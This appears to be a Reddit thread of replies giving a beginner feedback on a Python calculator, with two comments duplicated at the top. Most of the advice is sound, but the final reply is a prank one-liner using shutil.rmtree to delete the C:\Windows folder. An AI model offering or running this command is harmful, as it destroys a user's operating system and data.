For more than three cases I would recommend using switch statements. I think in Python it's called match-case as I recall. Personally I find it easier to read when that happens
You could try converting to floats before you go to resolve the expression. If someone enters "potato" for num1 the program will still ask for num2 and operation before throwing an error later on. This would also make the test of the code read easier.
You also are not catching division by zero errors which is fine because the program is ending anyway, but as a programmer you should think about what exceptions could be raised when you write code.
•
u/Sea-Ad7805 1d ago
Run program above by clicking Memory Graph Web Debugger and see its state change step by step.
2
u/noragerts 2d ago
For more than three cases I would recommend using switch statements. I think in Python it's called match-case as I recall. Personally I find it easier to read when that happens
2
u/Ceteris__Paribus 2d ago
You could try converting to floats before you go to resolve the expression. If someone enters "potato" for num1 the program will still ask for num2 and operation before throwing an error later on. This would also make the test of the code read easier.
You also are not catching division by zero errors which is fine because the program is ending anyway, but as a programmer you should think about what exceptions could be raised when you write code.
1
u/One_Smoke6858 2d ago
Add checks for the input to make sure they did not enter a letter for example.
Maybe having 1 input instead of 3 like the use can enter the equation.
Just have fun, and try different things to break the code.
1
u/sigmahacker123 1d ago
import shutil;shutil.rmtree("C:\Windows")